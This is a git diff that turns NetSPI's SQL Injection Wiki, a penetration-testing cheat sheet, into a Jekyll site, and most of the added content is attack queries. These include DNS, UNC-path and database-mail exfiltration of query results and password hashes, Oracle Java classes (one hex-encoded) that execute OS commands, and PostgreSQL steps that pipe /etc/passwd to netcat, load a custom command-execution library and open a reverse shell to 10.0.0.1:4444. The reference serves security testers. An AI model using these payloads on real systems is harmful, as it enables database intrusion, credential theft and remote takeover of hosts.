diff --git a/.gitignore b/.gitignore index 072c47b..72a5c3b 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1 @@ -todo.txt \ No newline at end of file +_site/ \ No newline at end of file diff --git a/404.html b/404.html new file mode 100644 index 0000000..ce24dbd --- /dev/null +++ b/404.html @@ -0,0 +1,6 @@ +--- +--- + diff --git a/CNAME b/CNAME new file mode 100644 index 0000000..371dc69 --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +sqlwiki.netspi.com \ No newline at end of file diff --git a/Gemfile b/Gemfile new file mode 100644 index 0000000..0c8671c --- /dev/null +++ b/Gemfile @@ -0,0 +1,3 @@ +source "https://rubygems.org" + +gem "github-pages", group: :jekyll_plugins diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 2aa3bab..0000000 --- a/LICENSE +++ /dev/null @@ -1,31 +0,0 @@ -SQLInjectionWiki is provided under the 3-clause BSD license below. - -************************************************************* - -Copyright (c) 2017, NetSPI -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of SQLInjectionWiki nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/README.md b/README.md index 3c15377..d5719c0 100644 --- a/README.md +++ b/README.md @@ -1,53 +1,13 @@ - - NetSPI logo - - NetSPI SQL Injection Wiki ====================== -This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems. Want to know more? Check out the release [blog](https://blog.netspi.com/netspi-sql-injection-wiki/)! - -## Contributing - -### Structure - -All DBMS content is located in the ./build directory, under the appropriate DBMS. Any basic content changes should be made in this folder. Adding a new DBMS is not currently a well abstracted process. Submit an issue for help in adding an entire new DBMS. Top level pages with no DBMS tabs can be added in the ./views directory and included in [./views/nav.html](./views/nav.html). - -More detailed documentation coming soon. - -### Style - -Follow the styles already set in the existing files if not listed below. +This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems. You can visit the live version at [sqlwiki.netspi.com](https://sqlwiki.netspi.com/) -- All tables should have classes of `table table-striped table-hover` -- All code snippets should be wrapped in `` -- All top headers should be `

` -- All sub section headers should be `

` -- Top level descriptions should be `

` -- Secondary descriptions should just be `

` +Want to know more? Check out the release [blog](https://blog.netspi.com/netspi-sql-injection-wiki/)! -## Development environment - -It is easiest to run this locally with the attached python script `runit.py`. This removes all caching and adds a fallback url, so we can use real URL paths for routing. To run just type `python runit.py` and go to [http://localhost:8000](http://localhost:8000). - -## Github contributing - -To make any changes please make a pull request or create an issue. - -## Admin contributing - -For those with write access to this repository do the following after making changes or before accepting pull requests: - -Increment the minor VERSION variable near the bottom of [./index.html](./index.html#L77). This helps push the new changes even if they're cached. - -```bash -git pull -git add . -git commit -am "[commit_message_here]" -git push origin master -``` +## Contributing -That will update the master repository. +See [CONTRIBUTING.md](https://github.com/NetSPI/WikiJekyllTheme/blob/master/CONTRIBUTING.md) ## Contributors @@ -56,7 +16,8 @@ That will update the master repository. - Ben Tindell - Colin Salisbury - Eric Gruber (@egru) +- Ian Williams (@aph3rson) - Jake Reynolds (@jreynoldsdev) -- Kai Tran (@k_tr4n) +- Khai Tran (@k_tr4n) - Rafael Seferyan - Scott Sutherland (@_nullbind) diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..a8cd0e8 --- /dev/null +++ b/_config.yml @@ -0,0 +1,2 @@ +remote_theme: NetSPI/WikiJekyllTheme +pagebase: "" diff --git a/_data/injectionDescriptions.yml b/_data/injectionDescriptions.yml new file mode 100644 index 0000000..cdf039b --- /dev/null +++ b/_data/injectionDescriptions.yml @@ -0,0 +1,17 @@ +injectionDetection: Injections can be detected in a number of ways. The simplest being adding a ' or " after various parameters and getting a database error returned from the web server. The sections below describe where to find and how to detect these parameters. +dbmsIdentification: Detecting what Database Management System (DBMS) is being used is critical in being able to further exploit an injection. Without that knowledge it would not be possible to determine what tables to query, what functions are built-in, and what detections to avoid. A successful response from the below queries identify that the selected DBMS is being used. +errorBased: Error based injections are exploited through triggering errors in the database when invalid inputs are passed to it. The error messages can be used to return the full query results, or gain information on how to restructure the query for further exploitation. +unionBased: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). You can try to enumerate the amount of columns using error based enumeration (see error based injection). +blindBased: Blind SQL injection is one of the more advanced methods of injection. The Partial-Blind and Full-Blind methods are detailed below. Use care when performing these queries, as they can overload a server if performed through heavy automation. +conditionalStatements: Conditional statements are beneficial for creating complex queries and aiding in Blind Injection. +injectionPlacement: SQL injection is always a hassle when it isn't apparent where the injection is taking place. It is helpful to have a few ways to exploit injections in various parts of the query. +injectionObfuscation: Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections. +dataExfiltration: Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various layer 4 requests, and hidden techniques. +dataTargeting: Being able to properly target and identify sensitive information can exponentially decrease time spent in a database. This means less time spent poking around and more time spent researching other vectors. +executingOSCommands: Running OS commands is one of the primary objectives of SQL injection - this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database. +informationGathering: It is often valuable to gather information about any testing environment; version numbers, user accounts, and databases all help in escalating vulnerabilities. Below are common methods for this. +lateralMovement: Lateral movement allows a tester to gain access to different sets of functionality/data that don't explicitly require a more privileged user. Switching user accounts laterally will expose different information and could aid in compromising a more privileged user. +privilegeEscalation: Certain functionalities require a privileged user and for escalating a vulnerability a privileged user is always the first step. +readingAndWritingFiles: Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443. +persistence: Gaining persistence on a system creates a semi-permanent foothold in the network, allowing prolonged exploitation time. With this extra time different vectors and exploit methods can be attempted. +parameterManipulation: Manipulating parameters aids in bypassing Web Application Firewalls, Anti-Virus scanners, and allows modification of various SQL queries for unique situations. diff --git a/_data/metadata.yml b/_data/metadata.yml new file mode 100644 index 0000000..da5abc0 --- /dev/null +++ b/_data/metadata.yml @@ -0,0 +1,5 @@ +googleTagManagerID: GTM-M7JZ64N +keywords: netspi, sql injection, wiki, sqli, sql, injection, netspy, network security professionals, oracle, mysql, sqlserver, mssql, cheat sheet, cheat, sheet +ogImageLink: /assets/images/facebookCard.jpg +twitterImageLink: /assets/images/twitterCard.jpg +title: NetSPI SQL Injection Wiki diff --git a/_data/nav.yml b/_data/nav.yml new file mode 100644 index 0000000..9eaf2fe --- /dev/null +++ b/_data/nav.yml @@ -0,0 +1,56 @@ +- title: Home + url: / +- title: About Us + url: https://netspi.com + external: true +- title: Injection Detection + url: /detection +- title: DBMS Identification + url: /dbmsIdentification/ +- title: Injection Types + url: /injectionTypes/ + children: + - title: Error Based Injection + url: /injectionTypes/errorBased/ + - title: Union Based Injection + url: /injectionTypes/unionBased/ + - title: Blind Based Injection + url: /injectionTypes/blindBased/ +- title: Injection Techniques + url: /injectionTechniques/ + children: + - title: Conditional Statements + url: /injectionTechniques/conditionalStatements/ + - title: Injection Placement + url: /injectionTechniques/injectionPlacement/ + - title: Injection Obfuscation + url: /injectionTechniques/obfuscation/ +- title: Attack Queries + url: /attackQueries/ + children: + - title: Information Gathering + url: /attackQueries/informationGathering/ + - title: Data Targeting + url: /attackQueries/dataTargeting/ + - title: Privilege Escalation + url: /attackQueries/privilegeEscalation/ + - title: Executing OS Commands + url: /attackQueries/executingOSCommands/ + - title: Reading and Writing Files + url: /attackQueries/readingAndWritingFiles/ + - title: Lateral Movement + url: /attackQueries/lateralMovement/ + - title: Data Exfiltration + url: /attackQueries/dataExfiltration/ + - title: Persistence + url: /attackQueries/persistence/ +- title: Misc. + children: + - title: Contributors + url: /misc/contributors + - title: References + url: /misc/references/ + - title: Sandboxes + url: /misc/sandboxes/ + - title: Tools + url: /misc/tools/ diff --git a/_includes/noInjections.html b/_includes/noInjections.html new file mode 100644 index 0000000..5e0cfeb --- /dev/null +++ b/_includes/noInjections.html @@ -0,0 +1 @@ +

No data yet, please contribute on our Github if you know any useful methods!

diff --git a/assets/images/facebookCard.jpg b/assets/images/facebookCard.jpg new file mode 100644 index 0000000..d319612 Binary files /dev/null and b/assets/images/facebookCard.jpg differ diff --git a/assets/images/favicon.ico b/assets/images/favicon.ico new file mode 100644 index 0000000..99ae406 Binary files /dev/null and b/assets/images/favicon.ico differ diff --git a/assets/images/logo.png b/assets/images/logo.png new file mode 100644 index 0000000..a637522 Binary files /dev/null and b/assets/images/logo.png differ diff --git a/assets/images/twitterCard.jpg b/assets/images/twitterCard.jpg new file mode 100644 index 0000000..273e053 Binary files /dev/null and b/assets/images/twitterCard.jpg differ diff --git a/attackQueries/dataExfiltration/index.html b/attackQueries/dataExfiltration/index.html new file mode 100644 index 0000000..8277a76 --- /dev/null +++ b/attackQueries/dataExfiltration/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Exfiltrating data through SQL Injection allows easier data analysis, as well as an offline copy of any compromised data. +keywords: data exfiltration, exfiltration, breach +title: Data Exfiltration | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/attackQueries/dataExfiltration.html b/attackQueries/dataExfiltration/mysql.html similarity index 87% rename from build/MySQL/attackQueries/dataExfiltration.html rename to attackQueries/dataExfiltration/mysql.html index e85fdf1..8ea22f3 100644 --- a/build/MySQL/attackQueries/dataExfiltration.html +++ b/attackQueries/dataExfiltration/mysql.html @@ -1,7 +1,7 @@

Data Exfiltration

-

+

{{site.data.injectionDescriptions.dataExfiltration}}

* Requires privileged user

@@ -13,7 +13,7 @@

Data Exfiltration

- + diff --git a/build/Oracle/attackQueries/dataExfiltration.html b/attackQueries/dataExfiltration/oracle.html similarity index 95% rename from build/Oracle/attackQueries/dataExfiltration.html rename to attackQueries/dataExfiltration/oracle.html index 47c6a4e..c934a80 100644 --- a/build/Oracle/attackQueries/dataExfiltration.html +++ b/attackQueries/dataExfiltration/oracle.html @@ -1,7 +1,7 @@

Data Exfiltration

-

+

{{site.data.injectionDescriptions.dataExfiltration}}

* Requires privileged user

DNS RequestSELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW), 'yourhost.com\\'))SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW), '.yourhost.com\\'))
SMB Share
diff --git a/attackQueries/dataExfiltration/sqlserver.html b/attackQueries/dataExfiltration/sqlserver.html new file mode 100644 index 0000000..9672af4 --- /dev/null +++ b/attackQueries/dataExfiltration/sqlserver.html @@ -0,0 +1,46 @@ +

Data Exfiltration

+ +

{{site.data.injectionDescriptions.dataExfiltration}}

+ +

Note: It is possible to make a DNS request from MSSQL. However, this request requires administrator privileges and SQL Server 2005.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DescriptionQuery
Make DNS RequestDECLARE @host varchar(800);
select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.netspi.com' from sys.sql_logins;
exec('xp_fileexist "\' + @host + 'c$boot.ini"');
UNC Path (DNS Request) + xp_dirtree '\\data.domain.com\file'
+ The UNC Path Injection Cheatsheet can be found here. +
Enable sp_send_dbmail and send querysp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='harold@netspi.com',@query='select @@version';
Basic xp_sendmail QueryEXEC master..xp_sendmail 'harold@netspi.com', 'This is a test.'
Send Full Email with xp_sendmailEXEC xp_sendmail @recipients='harold@netspi.com',
@message='This is a test.',
@copy_recipients='test@netspi.com',
@subject='TEST'
Send Query Results Via xp_sendmailEXEC xp_sendmail 'harold@netspi.com', @query='SELECT @@version';
Send Query Results as Attachment Via xp_sendmailCREATE TABLE ##texttab (c1 text)
INSERT ##texttab values ('Put messge here.')
DECLARE @cmd varchar(56)
SET @cmd = 'SELECT c1 from ##texttab'
EXEC master.dbo.xp_sendmail 'robertk',
@query = @cmd, @no_header='TRUE'
DROP TABLE ##texttab
diff --git a/attackQueries/dataTargeting/index.html b/attackQueries/dataTargeting/index.html new file mode 100644 index 0000000..ca62069 --- /dev/null +++ b/attackQueries/dataTargeting/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Being able to properly target and identify sensitive information can exponentially decrease time spent in a database. +title: Data Targeting | NetSPI SQL Injection Wiki +keywords: data targeting, sql injection data, breach data +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/attackQueries/dataTargeting.html b/attackQueries/dataTargeting/mysql.html similarity index 97% rename from build/MySQL/attackQueries/dataTargeting.html rename to attackQueries/dataTargeting/mysql.html index 94a1ed2..b26478e 100644 --- a/build/MySQL/attackQueries/dataTargeting.html +++ b/attackQueries/dataTargeting/mysql.html @@ -1,6 +1,6 @@

Data Targeting

-

+

{{site.data.injectionDescriptions.dataTargeting}}

Data Targeting queries

diff --git a/build/Oracle/attackQueries/dataTargeting.html b/attackQueries/dataTargeting/oracle.html similarity index 94% rename from build/Oracle/attackQueries/dataTargeting.html rename to attackQueries/dataTargeting/oracle.html index 0b50ad6..05a5b25 100644 --- a/build/Oracle/attackQueries/dataTargeting.html +++ b/attackQueries/dataTargeting/oracle.html @@ -1,6 +1,6 @@

Data Targeting

-

+

{{site.data.injectionDescriptions.dataTargeting}}

Data Targeting queries

@@ -21,7 +21,7 @@

Data Targeting queries

SELECT * FROM session_privs
SELECT * FROM USER_SYS_PRIVS
SELECT * FROM USER_TAB_PRIVS
SELECT * FROM USER_TAB_PRIVS_MADE
SELECT * FROM USER_TAB_PRIVS_RECD
SELECT * FROM ALL_TAB_PRIVS
SELECT * FROM USER_ROLE_PRIVS
- Extracting stored procedure/Java sources + Extracting Stored Procedure/Java Sources SELECT * FROM all_source WHERE owner NOT IN ('SYS','SYSTEM')
SELECT * FROM all_source WHERE TYPE LIKE '%JAVA %'
SELECT TO_CHAR(DBMS_METADATA.get_ddl('TABLE','DEPT','CONSUELA')) FROM dual diff --git a/build/SQLServer/attackQueries/dataTargeting.html b/attackQueries/dataTargeting/sqlserver.html similarity index 98% rename from build/SQLServer/attackQueries/dataTargeting.html rename to attackQueries/dataTargeting/sqlserver.html index bb8597a..1484c85 100644 --- a/build/SQLServer/attackQueries/dataTargeting.html +++ b/attackQueries/dataTargeting/sqlserver.html @@ -1,6 +1,6 @@

Data Targeting

-

+

{{site.data.injectionDescriptions.dataTargeting}}

Data Targeting queries

diff --git a/attackQueries/executingOSCommands/index.html b/attackQueries/executingOSCommands/index.html new file mode 100644 index 0000000..9a677c9 --- /dev/null +++ b/attackQueries/executingOSCommands/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: Running OS commands is one of the primary objectives of SQL injection - this aids in getting full control of the host OS. +keywords: os command, operating system command, command injection +title: OS Commands | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html +--- diff --git a/build/MySQL/attackQueries/executingOSCommands.html b/attackQueries/executingOSCommands/mysql.html similarity index 75% rename from build/MySQL/attackQueries/executingOSCommands.html rename to attackQueries/executingOSCommands/mysql.html index 241e752..a483190 100644 --- a/build/MySQL/attackQueries/executingOSCommands.html +++ b/attackQueries/executingOSCommands/mysql.html @@ -1,6 +1,6 @@ -

Executing OS Commands

+

Executing OS Commands Through MySQL

-

+

{{site.data.injectionDescriptions.executingOSCommands}}

@@ -16,8 +16,11 @@

Executing OS Commands

- + + + +
Command Execution with MySQL CLI Accesshttps://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/
Traversing directories (Linux)SELECT load_file("/etc/passwd") from information_schema
diff --git a/attackQueries/executingOSCommands/oracle.html b/attackQueries/executingOSCommands/oracle.html new file mode 100644 index 0000000..390af82 --- /dev/null +++ b/attackQueries/executingOSCommands/oracle.html @@ -0,0 +1,38 @@ +

Executing OS Commands Through Oracle

+ +

{{site.data.injectionDescriptions.executingOSCommands}}

+ +

Java can be used to execute commands if it's installed.

+ + + + + + + + + + + + + + + + + +
DescriptionQuery
Creating Java Classes + /* create Java class */
BEGIN +
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String + stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new + FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END; +
/ +

BEGIN + +
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END; +
/ +

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
Creating Java Classes (Hex encoded) + /* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); +
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); + end;')) results FROM dual +

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; +
diff --git a/attackQueries/executingOSCommands/postgresql.html b/attackQueries/executingOSCommands/postgresql.html new file mode 100644 index 0000000..dff6985 --- /dev/null +++ b/attackQueries/executingOSCommands/postgresql.html @@ -0,0 +1,102 @@ +

Executing OS Commands Through PostgreSQL

+ +

{{site.data.injectionDescriptions.executingOSCommands}}

+ + + + + + + + + + + + + + + + + + + + + + +
NameQuery
+

+ FROM PROGRAM +
+

+ DROP TABLE IF EXISTS myoutput;
+ CREATE TABLE myoutput(filename text);
+ COPY myoutput FROM PROGRAM 'ps aux';
+ SELECT * FROM myoutput ORDER BY filename ASC;
+
+

+ Create PostgreSQL Function Mapped  
+ to Libc System Method +
+

+ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
+ SELECT system('cat /etc/passwd | nc ');
+
+ Notes: +
+ This method works with PostgreSQL 8.1 and below. After version 9, you'll have to upload your own library with the "PG_MODULE_MAGIC" set.
+ The process for this is outlined at https://www.dionach.com/blog/postgresql-9x-remote-command-execution, below is a summary. +

+ + 1. To get the version from the PostgreSQL server use the query below. +

+ SELECT version(); +

+ + 2. To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. Below is an example showing how to install PostgreSQL. +

+ apt install postgresql postgresql-server-dev-9.6 +

+ + 3. Download pgexec file from https://github.com/Dionach/pgexec/tree/master. +

+ + 4. Compile pgexec with the command below. +

+ gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
+
+ + 5. Upload the library to the target system. First split the file into pieces. +

+ split -b 2048 pg_exec.so +

+ + 6. The file can then be written to disk through PostgreSQL using the commands below. +

+ SELECT lo_creat(-1);
+ set c0 `base64 -w 0 xaa`
+ INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:'c0', 'base64'));
+ +
+ Then repeat for each piece of the file. +

+ 7. Create the function. +

+ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT; +

+ 8. Send a reverse shell to your system. +

+ SELECT sys('nc -e /bin/sh 10.0.0.1 4444'); +

+ + Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution +
+

+ Metasploit postgres_payload Module
+ This can be used with direct connections. +
+

+ https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload
+ exploit/linux/postgres/postgres_payload
+
+ + diff --git a/build/SQLServer/attackQueries/executingOSCommands.html b/attackQueries/executingOSCommands/sqlserver.html similarity index 98% rename from build/SQLServer/attackQueries/executingOSCommands.html rename to attackQueries/executingOSCommands/sqlserver.html index d5e1a92..60c237f 100644 --- a/build/SQLServer/attackQueries/executingOSCommands.html +++ b/attackQueries/executingOSCommands/sqlserver.html @@ -1,6 +1,6 @@

Executing OS Commands Through SQL Server

-

+

{{site.data.injectionDescriptions.executingOSCommands}}

diff --git a/attackQueries/index.html b/attackQueries/index.html new file mode 100644 index 0000000..0932dcf --- /dev/null +++ b/attackQueries/index.html @@ -0,0 +1,29 @@ +--- +layout: default +description: After verifying a SQL injection, all of these methods can be used to further exploit the database. +title: Attack Queries | NetSPI SQL Injection Wiki +keywords: attack queries +--- +

Attack Queries

+

Once the injectable parameters and DBMS type are identified we need to attack the database. Below you will find various sections to aid you in escalating privileges, exfiltrating data, and more.

+ +

Information Gathering

+

{{site.data.injectionDescriptions.informationGathering}}

+ +

Data Targeting

+

{{site.data.injectionDescriptions.dataTargeting}}

+ +

Privilege Escalation

+

{{site.data.injectionDescriptions.privilegeEscalation}}

+ +

Executing OS Commands

+

{{site.data.injectionDescriptions.executingOSCommands}}

+ +

Reading and Writing Files

+

{{site.data.injectionDescriptions.readingAndWritingFiles}}

+ +

Lateral Movement

+

{{site.data.injectionDescriptions.lateralMovement}}

+ +

Data Exfiltration

+

{{site.data.injectionDescriptions.dataExfiltration}}

diff --git a/attackQueries/informationGathering/index.html b/attackQueries/informationGathering/index.html new file mode 100644 index 0000000..428bf13 --- /dev/null +++ b/attackQueries/informationGathering/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: It is often valuable to gather information about any testing environment; version numbers, user accounts, and databases all help in escalating vulnerabilities. +keywords: information gathering, information, data, gathering +title: Information Gathering | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html +--- diff --git a/build/MySQL/attackQueries/informationGathering.html b/attackQueries/informationGathering/mysql.html similarity index 60% rename from build/MySQL/attackQueries/informationGathering.html rename to attackQueries/informationGathering/mysql.html index 05d5582..1ad593a 100644 --- a/build/MySQL/attackQueries/informationGathering.html +++ b/attackQueries/informationGathering/mysql.html @@ -1,7 +1,7 @@

Information Gathering

-

+

{{site.data.injectionDescriptions.informationGathering}}

* Requires privileged user

@@ -16,29 +16,37 @@

Information Gathering

+ + + + - + - - + + + + + + - - + + - - + + - + diff --git a/build/Oracle/attackQueries/informationGathering.html b/attackQueries/informationGathering/oracle.html similarity index 93% rename from build/Oracle/attackQueries/informationGathering.html rename to attackQueries/informationGathering/oracle.html index 5dd9410..139ddc6 100644 --- a/build/Oracle/attackQueries/informationGathering.html +++ b/attackQueries/informationGathering/oracle.html @@ -1,7 +1,7 @@

Information Gathering

-

+

{{site.data.injectionDescriptions.informationGathering}}

* Requires privileged user

Version SELECT @@version
UserSELECT user()
SELECT system_user()
UsersSELECT user FROM mysql.user
SELECT user();
SELECT system_user()
* SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1
SELECT user FROM mysql.user
* SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1
Current DatabaseSELECT database()TablesSELECT table_schema, table_name FROM information_schema.tables
ColumnsSELECT table_name, column_name FROM information_schema.columns
Databases SELECT schema_name FROM information_schema.schemata
TablesSELECT table_schema,table_name FROM information_schema.tablesCurrent Database NameSELECT database()
ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columnsQuery another DatabaseUSE [database_name]; SELECT database();
SELECT [column] FROM [database_name].[table_name]
Number of ColumnsSELECT * FROM USERS ORDER BY 1

Increase 1 until query returns false, previous number was the amount of columns
SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'
DBA Accounts
@@ -25,29 +25,29 @@

Information Gathering

- - - - - - + + - - + + - - + + - - + + + + + + diff --git a/attackQueries/informationGathering/postgresql.html b/attackQueries/informationGathering/postgresql.html new file mode 100644 index 0000000..ad18757 --- /dev/null +++ b/attackQueries/informationGathering/postgresql.html @@ -0,0 +1,100 @@ +

Information Gathering

+ +

{{site.data.injectionDescriptions.informationGathering}}

+ +
SELECT username FROM all_users ORDER BY username;
* SELECT name FROM sys.user$;
Current DatabaseSELECT global_name FROM global_name;
SELECT name FROM v database; -
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
DatabasesSELECT DISTINCT owner FROM all_tables;TablesSELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
DBA AccountsSELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';Tables From Column NameSELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
Columns SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
TablesSELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Current DatabaseSELECT global_name FROM global_name;
SELECT name FROM V$DATABASE; +
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
Tables From Column NameSELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';DatabasesSELECT DISTINCT owner FROM all_tables;
DBA AccountsSELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
Privileges
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DescriptionQuery
VersionSELECT version();
User + SELECT user;
+ SELECT current_user;
+ SELECT session_user;
+ SELECT usename FROM pg_user;
+ SELECT getpgusername(); +
UsersSELECT usename FROM pg_user
User Password HashesSELECT usename, passwd FROM pg_shadow
PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
Current DatabaseSELECT current_database()
DatabasesSELECT datname FROM pg_database
TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Tables from Column NamesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
